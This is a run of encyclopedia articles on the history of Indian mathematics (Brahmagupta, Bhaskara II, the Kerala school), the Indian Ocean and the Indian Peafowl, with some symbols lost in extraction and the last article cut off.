

          Mathematical astronomy:


          
            	Proposed for the first time, a heliocentric solar system with the planets spinning on their axes and following an elliptical orbit around the Sun.


            	Accurate calculations for astronomical constants, such as the:

              
                	Solar eclipse.


                	Lunar eclipse.


                	The formula for the sum of the cubes, which was an important step in the development of integral calculus.

              

            

          


          Calculus:


          
            	Infinitesimals:

              
                	In the course of developing a precise mapping of the lunar eclipse, Aryabhatta was obliged to introduce the concept of infinitesimals (tatkalika gati) to designate the near instantaneous motion of the moon.

              

            


            	
              Differential equations:

              
                	He expressed the near instantaneous motion of the moon in the form of a basic differential equation.

              

            


            	
              Exponential function:

              
                	He used the exponential function e in his differential equation of the near instantaneous motion of the moon.

              

            

          


          
            	Varahamihira

          


          Varahamihira (505-587) produced the Pancha Siddhanta (The Five Astronomical Canons). He made important contributions to trigonometry, including sine and cosine tables to 4 decimal places of accuracy and the following formulas relating sine and cosine functions:


          
            	sin2(x) + cos2(x) = 1

          


          
            	[image: \sin(x)=\cos\left(\frac{\pi}{2}-x\right)]

          


          
            	[image: \frac{1-\cos(2x)}{2}=\sin^2(x)]

          


          


          Seventh and Eighth Centuries


          
            [image: Brahmagupta's theorem states that AF = FD.]

            
              Brahmagupta's theorem states that AF = FD.
            

          


          In the seventh century, two separate fields, arithmetic (which included mensuration) and algebra, began to emerge in Indian mathematics. The two fields would later be called pāṭī-gaṇita (literally "mathematics of algorithms") and bīja-gaṇita (lit. "mathematics of seeds," with "seeds"like the seeds of plantsrepresenting unknowns with the potential to generate, in this case, the solutions of equations). Brahmagupta, in his astronomical work Brāhma Sphuṭa Siddhānta (628 CE), included two chapters (12 and 18) devoted to these fields. Chapter 12, containing 66 Sanskrit verses, was divided into two sections: "basic operations" (including cube roots, fractions, ratio and proportion, and barter) and "practical mathematics" (including mixture, mathematical series, plane figures, stacking bricks, sawing of timber, and piling of grain). In the latter section, he stated his famous theorem on the diagonals of a cyclic quadrilateral:


          Brahmagupta's theorem: If a cyclic quadrilateral has diagonals that are perpendicular to each other, then the perpendicular line drawn from the point of intersection of the diagonals to any side of the quadrilateral always bisects the opposite side.


          Chapter 12 also included a formula for the area of a cyclic quadrilateral (a generalization of Heron's formula), as well as a complete description of rational triangles (i.e. triangles with rational sides and rational areas).


          Brahmagupta's formula: The area, A, of a cyclic quadrilateral with sides of lengths a, b, c, d, respectively, is given by


          
            	[image:  A = \sqrt{(s-a)(s-b)(s-c)(s-d)}]

          


          where s, the semiperimeter, given by: [image:  s=\frac{a+b+c+d}{2}.]


          Brahmagupta's Theorem on rational triangles: A triangle with rational sides a,b,c and rational area is of the form:


          
            	[image: a = \frac{u^2}{v}+v, \ \ b=\frac{u^2}{w}+w, \ \ c=\frac{u^2}{v}+\frac{u^2}{w} - (v+w) ]

          


          for some rational numbers u,v, and w.


          Chapter 18 contained 103 Sanskrit verses which began with rules for arithmetical operations involving zero and negative numbers and is considered the first systematic treatment of the subject. The rules (which included [image:  a + 0 = \ a] and [image:  a \times 0 = 0 ]) were all correct, with one exception: [image:  \frac{0}{0} = 0 ]. Later in the chapter, he gave the first explicit (although still not completely general) solution of the quadratic equation:


          
            	[image: \ ax^2+bx=c]

          


          
            
              	

              	To the absolute number multiplied by four times the [coefficient of the] square, add the square of the [coefficient of the] middle term; the square root of the same, less the [coefficient of the] middle term, being divided by twice the [coefficient of the] square is the value. (Brahmasphutasiddhanta (Colebrook translation, 1817, page 346)

              	
            

          


          This is equivalent to:


          
            	[image: x = \frac{\sqrt{4ac+b^2}-b}{2a} ]

          


          Also in chapter 18, Brahmagupta was able to make progress in finding (integral) solutions of Pell's equation,


          
            	[image: \ x^2-Ny^2=1, ]

          


          where N is a nonsquare integer. He did this by discovering the following identity:


          Brahmagupta's Identity: [image:  \ (x^2-Ny^2)(x'^2-Ny'^2) = (xx'+Nyy')^2 - N(xy'+x'y)^2 ] which was a generalization of an earlier identity of Diophantus: Brahmagupta used his identity to prove the following lemma:


          Lemma (Brahmagupta): If [image: x=x_1,\ \ y=y_1 \ \ ] is a solution of [image:  \ \ x^2 - Ny^2 = k_1, ] and, [image:  x=x_2, \ \ y=y_2 \ \ ] is a solution of [image:  \ \ x^2 - Ny^2 = k_2, ], then:


          
            	[image:  x=x_1x_2+Ny_1y_2,\ \ y=x_1y_2+x_2y_1 \ \ ] is a solution of [image:  \ x^2-Ny^2=k_1k_2]

          


          He then used this lemma to both generate infinitely many (integral) solutions of Pell's equation, given one solution, and state the following theorem:


          Theorem (Brahmagupta): If the equation [image:  \ x^2 - Ny^2 =k ] has an integer solution for any one of [image:  \ k=\pm 4, \pm 2, -1 ] then Pell's equation:


          
            	[image:  \ x^2 -Ny^2 = 1 ]

          


          also has an integer solution.


          Brahmagupta did not actually prove the theorem, but rather worked out examples using his method. The first example he presented was:


          Example (Brahmagupta): Find integers [image: \ x,\ y\ ] such that:


          
            	[image: \ x^2 - 92y^2=1 ]

          


          In his commentary, Brahmagupta added, "a person solving this problem within a year is a mathematician." The solution he provided was:


          
            	[image: \ x=1151, \ y=120 ]

          


          
            	Bhaskara I

          


          Bhaskara I (c. 600-680) expanded the work of Aryabhata in his books titled Mahabhaskariya, Aryabhattiya Bhashya and Laghu Bhaskariya. He produced:


          
            	Solutions of indeterminate equations.


            	A rational approximation of the sine function.


            	A formula for calculating the sine of an acute angle without the use of a table, correct to 2 decimal places.

          


          


          Ninth to Twelfth Centuries


          
            	Virasena

          


          Virasena (9th century) was a Jaina mathematician in the court of Rashtrakuta King Amoghavarsha of Manyakheta, Karnataka. He wrote the Dhavala, a commentary on Jaina mathematics, which:


          
            	Deals with logarithms to base 2 (ardhaccheda) and describes its laws.


            	First uses logarithms to base 3 (trakacheda) and base 4 (caturthacheda).

          


          Virasena also gave:


          
            	The derivation of the volume of a frustum by a sort of infinite procedure.

          


          
            	Mahavira

          


          Mahavira Acharya (c. 800-870) from Karnataka, the last of the notable Jaina mathematicians, lived in the 9th century and was patronised by the Rashtrakuta king Amoghavarsha. He wrote a book titled Ganit Saar Sangraha on numerical mathematics, and also wrote treatises about a wide range of mathematical topics. These include the mathematics of:


          
            	Zero.


            	Squares.


            	Cubes.


            	square roots, cube roots, and the series extending beyond these.


            	Plane geometry.


            	Solid geometry.


            	Problems relating to the casting of shadows.


            	Formulae derived to calculate the area of an ellipse and quadrilateral inside a circle

          


          Mahavira also:


          
            	Asserted that the square root of a negative number did not exist


            	Gave the sum of a series whose terms are squares of an arithmetical progression, and gave empirical rules for area and perimeter of an ellipse.


            	Solved cubic equations.


            	Solved quartic equations.


            	Solved some quintic equations and higher-order polynomials.


            	Gave the general solutions of the higher order polynomial equations:

              
                	[image: \ ax^n = q]


                	[image: a \frac{x^n - 1}{x - 1} = p]

              

            


            	Solved indeterminate quadratic equations.


            	Solved indeterminate cubic equations.


            	Solved indeterminate higher order equations.

          


          
            	Shridhara

          


          Shridhara (c. 870-930), who lived in Bengal, wrote the books titled Nav Shatika, Tri Shatika and Pati Ganita. He gave:


          
            	A good rule for finding the volume of a sphere.


            	The formula for solving quadratic equations.

          


          The Pati Ganita is a work on arithmetic and mensuration. It deals with various operations, including:


          
            	Elementary operations


            	Extracting square and cube roots.


            	Fractions.


            	Eight rules given for operations involving zero.


            	Methods of summation of different arithmetic and geometric series, which were to become standard references in later works.

          


          
            	Manjula

          


          Aryabhata's differential equations were elaborated in the 10th century by Manjula (also Munjala), who realised that the expression


          [image: \ \sin w' - \sin w]


          could be approximately expressed as


          [image: \ (w' - w)\cos w]


          He understood the concept of differentiation after solving the differential equation that resulted from substituting this expression into Aryabhata's differential equation.


          
            	Aryabhata II

          


          Aryabhata II (c. 920-1000) wrote a commentary on Shridhara, and an astronomical treatise Maha-Siddhanta. The Maha-Siddhanta has 18 chapters, and discusses:


          
            	Numerical mathematics (Ank Ganit).


            	Algebra.


            	Solutions of indeterminate equations (kuttaka).

          


          
            	Shripati

          


          Shripati Mishra (1019-1066) wrote the books Siddhanta Shekhara, a major work on astronomy in 19 chapters, and Ganit Tilaka, an incomplete arithmetical treatise in 125 verses based on a work by Shridhara. He worked mainly on:


          
            	Permutations and combinations.


            	General solution of the simultaneous indeterminate linear equation.

          


          He was also the author of Dhikotidakarana, a work of twenty verses on:


          
            	Solar eclipse.


            	Lunar eclipse.

          


          The Dhruvamanasa is a work of 105 verses on:


          
            	Calculating planetary longitudes


            	eclipses.


            	planetary transits.

          


          
            	Nemichandra Siddhanta Chakravati

          


          Nemichandra Siddhanta Chakravati (c. 1100) authored a mathematical treatise titled Gome-mat Saar.


          
            	Bhaskara II

          


          Bhāskara II (1114-1185) was a mathematician-astronomer who wrote a number of important treatises, namely the Siddhanta Shiromani, Lilavati, Bijaganita, Gola Addhaya, Griha Ganitam and Karan Kautoohal. A number of his contributions were later transmitted to the Middle East and Europe. His contributions include:


          Arithmetic:


          
            	Interest computation.


            	Arithmetical and geometrical progressions.


            	Plane geometry.


            	Solid geometry.


            	The shadow of the gnomon.


            	Solutions of combinations.


            	Gave a proof for division by zero being infinity.

          


          Algebra:


          
            	The recognition of a positive number having two square roots.


            	Surds.


            	Operations with products of several unknowns.


            	The solutions of:

              
                	Quadratic equations.


                	Cubic equations.


                	Quartic equations.


                	Equations with more than one unknown.


                	Quadratic equations with more than one unknown.


                	The general form of Pell's equation using the chakravala method.


                	The general indeterminate quadratic equation using the chakravala method.


                	Indeterminate cubic equations.


                	Indeterminate quartic equations.


                	Indeterminate higher-order polynomial equations.

              

            

          


          Geometry:


          
            	Gave a proof of the Pythagorean theorem.

          


          Calculus:


          
            	Conceived of differential calculus.


            	Discovered the derivative.


            	Discovered the differential coefficient.


            	Developed differentiation.


            	Stated Rolle's theorem, a special case of the mean value theorem (one of the most important theorems of calculus and analysis).


            	Derived the differential of the sine function.


            	Computed , correct to 5 decimal places.


            	Calculated the length of the Earth's revolution around the Sun to 9 decimal places.

          


          Trigonometry:


          
            	Developments of spherical trigonometry


            	The trigonometric formulas:

              
                	[image: \ \sin(a+b)=\sin(a) \cos(b) + \sin(b) \cos(a)]


                	[image: \ \sin(a-b)=\sin(a) \cos(b) - \sin(b) \cos(a)]

              

            

          


          


          Kerala Mathematics (1300 - 1600)


          The Kerala school of astronomy and mathematics was founded by Madhava of Sangamagrama in Kerala, South India and included among its members: Parameshvara, Neelakanta Somayaji, Jyeshtadeva, Achyuta Pisharati, Melpathur Narayana Bhattathiri and Achyuta Panikkar. It flourished between the 14th and 16th centuries and the original discoveries of the school seems to have ended with Narayana Bhattathiri ( 1559- 1632). In attempting to solve astronomical problems, the Kerala school astronomers independently created a number of important mathematics concepts. The most important results, series expansion for trigonometric functions, were given in Sanskrit verse in a book by Neelakanta called Tantrasangraha and a commentary on this work called Tantrasangraha-vakhya of unknown authorship. The theorems were stated without proof, but proofs for the series for sine, cosine, and inverse tangent were provided a century later in the work Yuktibhasa (c.1500-c.1610), written in Malayalam, by Jyesthadeva, and also in a commentary on Tantrasangraha.


          Their discovery of these three important series expansions of calculusseveral centuries before calculus was developed in Europe by Isaac Newton and Gottfried Leibnizwas a landmark achievement in mathematics. However, the Kerala School cannot be said to have invented calculus, because, while they were able to develop Taylor series expansions for the important trigonometric functions, they developed neither a comprehensive theory of differentiation or integration, nor the fundamental theorem of calculus. The results obtained by the Kerala school include:


          
            	The (infinite) geometric series: [image:  \frac{1}{1-x} = 1 + x + x^2 + x^3 + \dots + \infty ] for | x | < 1 This formula was already known, for example, in the work of the 10th century Arab mathematician Alhazen (the Latinized form of the name Ibn Al-Haytham (965-1039)).


            	A semi-rigorous proof (see "induction" remark below) of the result: [image: 1^p+ 2^p + \cdots + n^p \approx \frac{n^{p+1}}{p+1}] for large n. This result was also known to Alhazen.


            	Intuitive use of mathematical induction, however, the inductive hypothesis was not formulated or employed in proofs.


            	Applications of ideas from (what was to become) differential and integral calculus to obtain (Taylor-Maclaurin) infinite series for sinx, cosx, and arctanx The Tantrasangraha-vakhya gives the series in verse, which when translated to mathematical notation, can be written as:

          


          
            	[image: r\arctan(\frac{y}{x}) = \frac{1}{1}\cdot\frac{ry}{x} -\frac{1}{3}\cdot\frac{ry^3}{x^3} + \frac{1}{5}\cdot\frac{ry^5}{x^5} - \cdots , ] where [image: y/x \leq 1. ]


            	[image: \sin x = x - x\cdot\frac{x^2}{(2^2+2)r^2} + x\cdot \frac{x^2}{(2^2+2)r^2}\cdot\frac{x^2}{(4^2+4)r^2} - \cdot ]


            	[image:  r - \cos x = r\cdot \frac{x^2}{(2^2-2)r^2} - r\cdot \frac{x^2}{(2^2-2)r^2}\cdot \frac{x^2}{(4^2-4)r^2} + \cdots , ] where, for r = 1, the series reduce to the standard power series for these trigonometric functions, for example:

          


          
            	
              
                	[image: \sin x = x - \frac{x^3}{3!} + \frac{x^5}{5!} - \frac{x^7}{7!} + \cdots ] and


                	[image: \cos x = 1 - \frac{x^2}{2!} + \frac{x^4}{4!} - \frac{x^6}{6!} + \cdots ]

              

            


            	Use of rectification (computation of length) of the arc of a circle to give a proof of these results. (The later method of Leibniz, using quadrature (i.e. computation of area under the arc of the circle, was not used.)


            	Use of series expansion of arctanx to obtain an infinite series expression (later known as Gregory series) for :

          


          
            	[image: \frac{\pi}{4} = 1 - \frac{1}{3} + \frac{1}{5} - \frac{1}{7} + \ldots + \infty ]

          


          
            	A rational approximation of error for the finite sum of their series of interest. For example, the error, fi(n + 1), (for n odd, and i = 1, 2, 3) for the series:

          


          
            	
              [image: \frac{\pi}{4} \approx 1 - \frac{1}{3}+ \frac{1}{5} - \cdots (-1)^{(n-1)/2}\frac{1}{n} + (-1)^{(n+1)/2}f_i(n+1)]

              
                	where [image: f_1(n) = \frac{1}{2n}, \ f_2(n) = \frac{n/2}{n^2+1}, \ f_3(n) = \frac{(n/2)^2+1}{(n^2+5)n/2}.]

              

            

          


          
            	Manipulation of error term to derive a faster converging series for :

          


          
            	[image: \frac{\pi}{4} = \frac{3}{4} + \frac{1}{3^3-3} - \frac{1}{5^3-5} + \frac{1}{7^3-7} - \cdots \infty ]

          


          
            	Using the improved series to derive a rational expression, 104348 / 33215 for  correct up to nine decimal places, i.e. 3.141592653


            	Use of an intuitive notion of limit to compute these results.


            	A semi-rigorous (see remark on limits above) method of differentiation of some trigonometric functions. However, they did not formulate the notion of a function, or have knowledge of the exponential or logarithmic functions.

          


          The works of the Kerala school were first written up for the Western world by Englishman C. M. Whish in 1835. According to Whish, the Kerala mathematicians had "laid the foundation for a complete system of fluxions" and these works abounded "with fluxional forms and series to be found in no work of foreign countries." However, Whish's results were almost completely neglected, until over a century later, when the discoveries of the Kerala school were investigated again by C. Rajagopal and his associates. Their work includes commentaries on the proofs of the arctan series in Yuktibhasa given in two papers, a commentary on the Yuktibhasa's proof of the sine and cosine series and two papers that provide the Sanskrit verses of the Tantrasangrahavakhya for the series for arctan, sin, and cosine (with English translation and commentary).


          The Kerala mathematicians included Narayana Pandit (c. 1340-1400), who composed two works, an arithmetical treatise, Ganita Kaumudi, and an algebraic treatise, Bijganita Vatamsa. Narayana is also thought to be the author of an elaborate commentary of Bhaskara II's Lilavati, titled Karmapradipika (or Karma-Paddhati). Madhava of Sangamagramma (c. 1340-1425) was the founder of the Kerala School. Although it is possible that he wrote Karana Paddhati a work written sometime between 1375 and 1475, all we really know of his work comes from works of later scholars.


          Parameshvara (c. 1370-1460) wrote commentaries on the works of Bhaskara I, Aryabhata and Bhaskara II. His Lilavati Bhasya, a commentary on Bhaskara II's Lilavati, contains one of his important discoveries: a version of the mean value theorem. Nilakantha Somayaji (1444-1544) composed the Tantra Samgraha (which 'spawned' a later anonymous commentary Tantrasangraha-vyakhya and a further commentary by the name Yuktidipaika, written in 1501). He elaborated and extended the contributions of Madhava.


          Citrabhanu (c. 1530) was a 16th century mathematician from Kerala who gave integer solutions to 21 types of systems of two simultaneous algebraic equations in two unknowns. These types are all the possible pairs of equations of the following seven forms:


          [image: \ x + y = a, x - y = b, xy = c, x^2 + y^2 = d, x^2 - y^2 = e, x^3 + y^3 = f, x^3 - y^3 = g]


          For each case, Citrabhanu gave an explanation and justification of his rule as well as an example. Some of his explanations are algebraic, while others are geometric. Jyesthadeva (c. 1500-1575) was another member of the Kerala School. His key work was the Yukti-bhasa (written in Malayalam, a regional language of Kerala). Jyesthadeva presented proofs of most mathematical theorems and infinite series earlier discovered by Madhava and other Kerala School mathematicians.


          


          Charges of Eurocentrism


          It has been suggested that Indian contributions to mathematics have not been given due acknowledgement in modern history and that many discoveries and inventions by Indian mathematicians are presently culturally attributed to their Western counterparts, as a result of Eurocentrism. According to G. G. Joseph:


          
            [Their work] takes on board some of the objections raised about the classical Eurocentric trajectory. The awareness [of Indian and Arabic mathematics] is all too likely to be tempered with dismissive rejections of their importance compared to Greek mathematics. The contributions from other civilizations - most notably China and India, are perceived either as borrowers from Greek sources or having made only minor contributions to mainstream mathematical development. An openness to more recent research findings, especially in the case of Indian and Chinese mathematics, is sadly missing"

          


          The historian of mathematics, Florian Cajori, suggested that he "suspect[s] that Diophantus got his first glimpse of algebraic knowledge from India."


          More recently, as discussed in the above section, the infinite series of calculus for trigonometric functions (rediscovered by Gregory, Taylor, and Maclaurin in the late 17th century) were described (with proofs) in India, by mathematicians of the Kerala School, remarkably some two centuries earlier. Some scholars have recently suggested that knowledge of these results might have been transmitted to Europe through the trade route from Kerala by traders and Jesuit missionaries. Kerala was in continuous contact with China and Arabia, and, from around 1500, with Europe. The existence of communication routes and a suitable chronology certainly make such a transmission a possibility. However, there is no direct evidence by way of relevant manuscripts that such a transmission actually took place. Indeed, according to David Bressoud, "there is no evidence that the Indian work of series was known beyond India, or even outside of Kerala, until the nineteenth century."


          Both Arab and Indian scholars made discoveries before the 17th century that are now considered a part of calculus. However, they were not able to, as Newton and Leibniz were, to "combine many differing ideas under the two unifying themes of the derivative and the integral, show the connection between the two, and turn calculus into the great problem-solving tool we have today." The intellectual careers of both Newton and Leibniz are well-documented and there is no indication of their work not being their own; however, it is not known with certainty whether the immediate predecessors of Newton and Leibniz, "including, in particular, Fermat and Roberval, learned of some of the ideas of the Islamic and Indian mathematicians through sources we are not now aware." This is an active area of current research, especially in the manuscripts collections of Spain and Maghreb, research that is now being pursued, among other places, at the Centre National de Recherche Scientifique in Paris.
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      This article (see wikipedia.org for authors and sources) is made available under the GNUFreeDocumentationLicense.
    

  


  
    
      
        

        Indian Ocean


        
          

          
            
              	Earth's oceans

              ( World Ocean)
            


            
              	
                
                  	Arctic Ocean


                  	Atlantic Ocean


                  	Indian Ocean


                  	Pacific Ocean


                  	Southern Ocean

                

              
            

          


          The Indian Ocean is the third largest of the world's oceanic divisions, covering about 20% of the water on the Earth's surface. It is bounded on the north by Asia (including the Indian subcontinent, after which it is named); on the west by Africa; on the east by Indochina, the Sunda Islands, and Australia; and on the south by the Southern Ocean (or, traditionally, by Antarctica). One component of the all-encompassing World Ocean, the Indian Ocean is delineated from the Atlantic Ocean by the 20 east meridian running south from Cape Agulhas, and from the Pacific by the 147 east meridian. The northernmost extent of the Indian Ocean is approximately 30 north in the Persian Gulf and, thus, has asymmetric ocean circulation. This ocean is nearly 10,000kilometres (6,200mi) wide at the southern tips of Africa and Australia; its area is 73,556,000squarekilometres (32.1mi), including the Red Sea and the Persian Gulf.


          The ocean's volume is estimated to be 292,131,000cubickilometers (70,086,000mi). Small islands dot the continental rims. Island nations within the ocean are Madagascar (formerly Malagasy Republic), the world's fourth largest island; Comoros; Seychelles; Maldives; Mauritius; and Sri Lanka. Indonesia borders it on the east. The ocean's importance as a transit route between Asia and Africa has made it a scene of conflict. Because of its size, however, no nation had successfully dominated most of it until the early 1800s when the United Kingdom controlled much of the surrounding land. After the decline of the British Empire, the ocean has since been dominated by India and Australia.


          
            [image: Indian Ocean]
          


          


          Geography


          The African, Indian, and Antarctic crustal plates converge in the Indian Ocean. Their junctures are marked by branches of the Mid-Oceanic Ridge forming an inverted Y, with the stem running south from the edge of the continental shelf near Mumbai, India. The eastern, western, and southern basins thus formed are subdivided into smaller basins by ridges. The ocean's continental shelves are narrow, averaging 200kilometres (125 mi) in width. An exception is found off Australia's western coast, where the shelf width exceeds 1,000kilometres (600 mi). The average depth of the ocean is 3,890metres (12,760 ft). Its deepest point, is in the Diamantina Deep close to the coast of south west Western Australia. North of 50 south latitude, 86% of the main basin is covered by pelagic sediments, of which more than half is globigerina ooze. The remaining 14% is layered with terrigenous sediments. Glacial outwash dominates the extreme southern latitudes.


          A spring 2000 decision by the International Hydrographic Organisation delimited a fifth world ocean, stripping the southern portions of the Indian Ocean. The new ocean extends from the coast of Antarctica north to 60 south latitude which coincides with the Antarctic Treaty Limit. The Indian Ocean remains the third-largest of the world's five oceans.


          Major choke points include Bab el Mandeb, Strait of Hormuz, Strait of Malacca, southern access to the Suez Canal, and the Lombok Strait. Seas include Andaman Sea, Arabian Sea, Bay of Bengal, Great Australian Bight, Gulf of Aden, Gulf of Oman, Laccadive Sea, Mozambique Channel, Persian Gulf, Red Sea, Strait of Malacca, and other tributary water bodies.


          



          


          Climate


          The climate north of the equator is affected by a monsoon or tornado wind system. Strong north-east winds blow from October until April; from May until October south and west winds prevail. In the Arabian Sea the violent monsoon brings rain to the Indian subcontinent. In the southern hemisphere the winds generally are milder, but summer storms near Mauritius can be severe. When the monsoon winds change, cyclones sometimes strike the shores of the Arabian Sea and the Bay of Bengal. The Indian Ocean is the warmest ocean in the world.


          


          Hydrology


          
            [image: Bathymetric map of the Indian Ocean]

            
              Bathymetric map of the Indian Ocean
            

          


          Among the few large rivers flowing into the Indian Ocean are the Zambezi, Shatt al-Arab, Indus, Ganges, Brahmaputra, Juba and Ayeyarwady River. Currents are mainly controlled by the monsoon. Two large circular currents, one in the northern hemisphere flowing clockwise and one south of the equator moving anticlockwise, constitute the dominant flow pattern. During the winter monsoon, however, currents in the north are reversed. Deep water circulation is controlled primarily by inflows from the Atlantic Ocean, the Red Sea, and Antarctic currents. North of 20 south latitude the minimum surface temperature is 22C (72F), exceeding 28C (82 F) to the east. Southward of 40 south latitude, temperatures drop quickly. Surface water salinity ranges from 32 to 37 parts per 1000, the highest occurring in the Arabian Sea and in a belt between southern Africa and south-western Australia. Pack ice and icebergs are found throughout the year south of about 65 south latitude. The average northern limit of icebergs is 45 south latitude.


          


          Sub surface features


          As the youngest of the major oceans has active spreading ridges:-


          
            	Carlsberg, Southwest Indian Ridge, Southeast Indian Ridge and the Mid Indian Ridges

          


          


          Economy


          The Indian Ocean provides major sea routes connecting the Middle East, Africa, and East Asia with Europe and the Americas. It carries a particularly heavy traffic of petroleum and petroleum products from the oil fields of the Persian Gulf and Indonesia. Large reserves of hydrocarbons are being tapped in the offshore areas of Saudi Arabia, Iran, India, and Western Australia. An estimated 40% of the world's offshore oil production comes from the Indian Ocean. Beach sands rich in heavy minerals, and offshore placer deposits are actively exploited by bordering countries, particularly India, South Africa, Indonesia, Sri Lanka, and Thailand.


          The warmth of the Indian Ocean keeps phytoplankton production low, except along the northern fringe and in a few scattered spots elsewhere; life in the ocean is thus limited. Fishing is confined to subsistence levels. Its fish are of great and growing importance to the bordering countries for domestic consumption and export. Fishing fleets from Russia, Japan, South Korea, and Taiwan also exploit the Indian Ocean, mainly for shrimp and tuna.


          Endangered marine species include the dugong, seals, turtles, and whales.


          Oil and ship pollution threatens the Arabian Sea, Persian Gulf, and Red Sea,


          


          History


          The world's earliest civilizations in Mesopotamia (beginning with Sumer), ancient Egypt, and the Indian subcontinent (beginning with the Indus Valley civilization), which began along the valleys of the Tigris-Euphrates, Nile and Indus rivers respectively, had all developed around the Indian Ocean. Civilizations soon arose in Persia (beginning with Elam) and later in Southeast Asia (beginning with Funan). During Egypt's first dynasty (c. 3000 BC), sailors were sent out onto its waters, journeying to Punt, thought to be part of present-day Somalia. Returning ships brought gold and myrrh. The earliest known maritime trade between Mesopotamia and the Indus Valley (c. 2500 BC) was conducted along the Indian Ocean. Phoenicians of the late 3rd millennium BC may have entered the area, but no settlements resulted.


          The Indian Ocean is far calmer and thus opened to trade earlier than the Atlantic or Pacific Oceans. The powerful monsoons also meant ships could easily sail west early in the season, then wait a few months and return eastwards. This allowed Indonesian peoples to cross the Indian Ocean to settle in Madagascar.


          In the second or first century BC, Eudoxus of Cyzicus was the first Greek to cross the Indian Ocean. Hippalus is said to have discovered the direct route from Arabia to India around this time. During the first and second centuries intensive trade relations developed between Roman Egypt and the Tamil kingdoms of the Cheras, Cholas and Pandyas in Southern India. Like the Indonesian peoples above, the western sailors used the monsoon to cross the ocean. The unknown author of the Periplus of the Erythraean Sea describes this route and the ports and trade goods along the coasts of Africa and India around AD 70.


          From 1405 to 1433, Admiral Zheng He led large fleets of the Ming Dynasty on several voyages to the Western Ocean (Chinese name for the Indian Ocean) and reached the coastal country of East Africa. (see Zheng He for reference).


          In 1497, Vasco da Gama rounded the Cape of Good Hope, and became the first European to sail to India. The European ships, armed with heavy cannon, quickly dominated trade. Portugal at first attempted to achieve pre-eminence by setting up forts at the important straits and ports. But the small nation was unable to support such a vast project, and they were replaced in the mid-17th century by other European powers. The Dutch East India Company (1602-1798) sought control of trade with the East across the Indian Ocean. France and Britain established trade companies for the area. Eventually Britain became the principal power and by 1815 dominated the area.


          The opening of the Suez Canal in 1869 revived European interest in the East, but no nation was successful in establishing trade dominance. Since World War II the United Kingdom has withdrawn from the area, to be only partially replaced by India, the USSR, and the United States. The last two have tried to establish hegemony by negotiating for naval base sites. Developing countries bordering the ocean, however, seek to have it made a "zone of peace" so that they may use its shipping lanes freely, though the United Kingdom and United States maintain a military base on Diego Garcia atoll in the middle of the Indian Ocean.


          On December 26, 2004, the countries surrounding the Indian Ocean were hit by a tsunami caused by the 2004 Indian Ocean earthquake. The waves resulted in more than 226,000 deaths and over 1 million were left homeless.


          


          Culture and literature


          The Indian Ocean is known as Ratnakara in the ancient Sanskrit literature. Ratnakara means "the maker(creator) of jewels".


          
            	See Culture of the Indian Ocean Islands and Indian Ocean literature

          


          


          Major ports and harbours
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                  Male (Peacock)
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                  Female (Peahen)
                

              
            


            
              	Conservation status
            


            
              	
                
                  [image: ]

                  Least Concern( IUCN 3.1)
                

              
            


            
              	Scientific classification
            


            
              	
                
                  
                    	Kingdom:

                    	Animalia

                  


                  
                    	Phylum:

                    	Chordata

                  


                  
                    	Class:

                    	Aves

                  


                  
                    	Order:

                    	Galliformes

                  


                  
                    	Family:

                    	Phasianidae

                  


                  
                    	Genus:

                    	Pavo

                  


                  
                    	Species:

                    	P. cristatus

                  

                

              
            


            
              	Binomial name
            


            
              	Pavo cristatus

              Linnaeus, 1758
            

          


          The Indian Peafowl, Pavo cristatus, also known as the Common Peafowl or the Blue Peafowl, is one of the species of bird in the genus Pavo of the Phasianidae family known as peafowl. The Indian Peafowl is a resident breeder in the Indian subcontinent and has been introduced into many parts of the world and feral populations exist in many introduced regions. The peacock is the national bird of India.


          
            [image: Indian Peahen with Immatures at Hodal in Faridabad District of Haryana, India.]

            
              Indian Peahen with Immatures at Hodal in Faridabad District of Haryana, India.
            

          


          
            [image: Peacock "tail feathers" are really upper tail coverts.]

            
              Peacock "tail feathers" are really upper tail coverts.
            

          


          The species is found in dry semi-desert grasslands, scrub and deciduous forests. It forages and nests on the ground but roosts on top of trees. It eats seeds, insects, fruits, small mammals and reptiles.


          Females are about 86 cm (34 in) long and weigh about 3.4 kg (7.4 lbs), while males average at about 2.12 m (7.3 ft) in full breeding plumage (107 cm/42 in when not) and weigh about 5 kg (11 lbs). The male is called a peacock, the female a peahen. The Indian Peacock has iridescent blue-green plumage. The upper tail coverts on its back are elongated and ornate with an eye at the end of each feather. These are the Peacock's display feathers. The female plumage is a mixture of dull green, grey and iridescent blue, with the greenish-grey predominating. In the breeding season, females stand apart by lacking the long 'tail feathers' also known as train, and in the non-breeding season they can be distinguished from males by the green colour of the neck as opposed to the blue on the males.


          Peafowl are most notable for the male's extravagant display feathers which, despite actually growing from their back, are known as a 'tail' or train. This train is in reality not the tail but the enormously elongated upper tail coverts. The tail itself is brown and short as in the peahen. The colours result from the micro-structure of the feathers and the resulting optical phenomena. The ornate train is believed to be the result of female sexual selection as males raised the feathers into a fan and quiver it as part of courtship display. Many studies have suggested that the quality of train is a honest signal of the condition of males and that peahens select males on the basis of their plumage. More recent studies however, suggest that other cues may be involved in mate selection by peahens.


          They lay a clutch of 4-8 eggs which take 28 days to hatch. The eggs are light brown and are laid every other day usually in the afternoon. The male does not assist with the rearing, and is polygamous with up to six hens.


          


          Hybridization and concerns


          The Indian Peafowl can hybridise with the closely related Green Peafowl, Pavo muticus, in captivity and creates offspring called "Spauldings" or "Spaldings". The original "Spalding" was a hybrid between a female of the Black-Shouldered mutation of the Indian Peafowl, with a male of the nominate Java subspecies of the Green Peafowl, though some believe it was really a cross between a Black-Shouldered male with a Green Peafowl hen of the subspecies imperator.


          Even though there is no natural range overlap, hybridization occurs in the wild when feral populations of one of the species overlaps another species. Hybridization has created some concern as the Green Peafowl is endangered.


          


          Indian Peafowl and humans


          In the Middle Ages, the flesh of the Indian Peafowl was highly prestigious and believed to be imperishable. Thanks to its reputation of being immortal it was also a symbol of the Catholic church. Though its meat is tough and not well-suited for consumption, it was prized due to being a luxury and often domesticated for human consumption by the medieval nobility and was often served at banquets as a subtlety. This was usually done by skinning the bird, cooking, grinding up and seasoning the flesh, and then redressing it in its own plumage and serving it in a lifelike pose by bracing it with wooden struts. It was also common to discard the meat and stuff the colorful plumage with the meat of tastier domestic fowl such as goose or chicken to please and entertain diners.


          


          Indian Peafowl as pets


          Indian Peafowl can be companion animals but there may be problems with dogs, cats and other pets. They may roam, roost or mess on adjoining property. Peafowl have been called "urban guard dogs" because their distinctive cries can act as a warning of approaching people. Several British stately homes keep peafowl in the grounds.


          


          Peafowl used as logos


          
